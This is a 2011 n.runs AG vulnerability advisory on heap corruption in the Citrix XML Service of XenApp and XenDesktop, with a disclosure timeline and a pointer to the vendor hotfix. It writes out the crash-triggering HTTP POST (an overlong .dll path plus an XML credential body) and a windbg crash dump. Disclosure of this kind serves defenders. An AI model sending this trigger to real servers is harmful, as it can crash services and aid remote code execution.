

n.runs AG
 http://www.nruns.com/
 n.runs-SA-2011.002

security(at)nruns.com
 28-Jul-2011

Vendor: Citrix, <http://www.citrix.com>
 Affected Products: XenApp and XenDesktop
 Affected Version: See the Citrix security bulletin [2] for a list
 Vulnerability: Heap Corruption in Citrix XML Service
 Risk: HIGH

Vendor communication:

2011/04/26 Initial notification and request for PGP key
 2011/04/26 Received PGP key. Sent detailed vulnerability description
 2011/04/27 Confirmed receipt / request for more version/patch information
 2011/05/31 Received request for exploit code for reproduction
 2011/06/02 n.runs provides Citrix with PoC exploit code
 2011/07/12 n.runs requests status update
 2011/07/15 Confirmation that issue was identified and patches are scheduled
 2011/07/27 Citrix publishes bulletin and hotfix

Overview:

A heap corruption vulnerability has been found in the Citrix XML Service of XenApp and XenDesktop which is installed on every server used for sharing applications. Successful exploitation allows arbitrary code execution on the server running the XML service.

Successful exploitation may allow arbitrary code execution on the server running the XML service. The issue can be triggered with network access to the system running the XML service.

Description:

The Citrix XML Service (ctxxmls.exe) is installed on every server used for sharing applications. This windows service listens by default on port 80 and can receive HTTP requests. Using HTTP POST requests with a URL starting with the path /scripts/ it is possible to send messages to so called "HTTP Extension DLLs" which consist of XML markup.

By sending a POST request to a really long non-existent extension DLL some form of heap corruption can be triggered. A request of the following format was sent:

```
POST /scripts/AAAAAAAAA[...]AAAAAAAAA.dll HTTP/1.1
Content-Type: text/xml
Host: localhost:80
Content-Length: 1234
Connection: Keep-Alive
```

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd">
<NFuseProtocol version="5.1">
<RequestValidateCredentials>
<Credentials>
<UserName>nruns</UserName>
<Password encoding="ctx1">MLBMMMAHNB</Password>
<Domain type="NT">TEST</Domain>
</Credentials>
</RequestValidateCredentials>
</NFuseProtocol
```

Around 122.222 'A' characters were sent in our tests which triggered the heap corruption. But repeated tests showed that the observed

behavior could not be triggered reliably and sometimes needed multiple tries until a crash was encountered.

The following windbg output shows the observed crash of the XML service:

```
(b68.1020): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=009bfdac ecx=009bfd00 edx=00000000 esi=43434342 edi=00000000
eip=7c82ae6e esp=009bfd60 ebp=009bfd90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
ntdll!RtlImageNtHeaderEx+0x64:
7c82ae6e 66813e4d5a      cmp     word ptr [esi],5A4Dh      ds:0023:43434342=????
*** ERROR: Module load completed but symbols could not be loaded for
ctxmlss.exe
0:001> kb
ChildEBP RetAddr  Args to Child
009bfd90 7c82aeec 00000001 43434342 00000000 ntdll!RtlImageNtHeaderEx+0x64
009bfdb0 77e703ba 43434342 00000000 00c00048 ntdll!RtlImageNtHeader+0x1b
009bfdc4 00402eda 43434343 00000001 00324628 kernel32!FreeLibrary+0x1b
WARNING: Stack unwind information not available. Following frames may be wrong.
009bfee4 004033a4 0032463a 0001dd77 00000015 ctmlss+0x2eda
009bff10 004027e4 00c3806e 009bff38 00324628 ctmlss+0x33a4
009bff30 00402a88 ffffffff 00324a48 009bff60 ctmlss+0x27e4
009bff40 00403a9a 00012cbd 00324628 00000002 ctmlss+0x2a88
009bff60 00403be7 00324a48 00000000 00324918 ctmlss+0x3a9a
009bff78 00403c2f 00322580 009bffb8 7c349565 ctmlss+0x3be7
009bff84 7c349565 00322580 00000000 00000000 ctmlss+0x3c2f
009bffb8 77e6482f 00324880 00000000 00000000 MSVCR71!_threadstartex+0x6f
[f:\vs70buil\3052\vc\crt\src\threadex.c @ 241]
009bffec 00000000 7c3494f6 00324880 00000000 kernel32!BaseThreadStart+0x34
```

Impact:

The exploitability of this issue was not verified but it is to be expected that it can be exploited reliably with more time investments which would then lead to arbitrary remote code execution.

Solution:

Citrix issued a hotfix for this issue which can be found at [2].

Credit:

Bug found by Alexios Fakos and Moritz Jodeit of n.runs AG.

References:

- [1] <http://www.citrix.com/>
- [2] <http://support.citrix.com/article/CTX129430>

This Advisory and Upcoming Advisories:

http://www.nruns.com/security_advisory.php

Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise, contact security@nruns.com for permission. Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded. In no event shall n.runs be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if n.runs has been advised of the possibility of such damages.

Copyright 2011 n.runs AG. All rights reserved. Terms of use apply.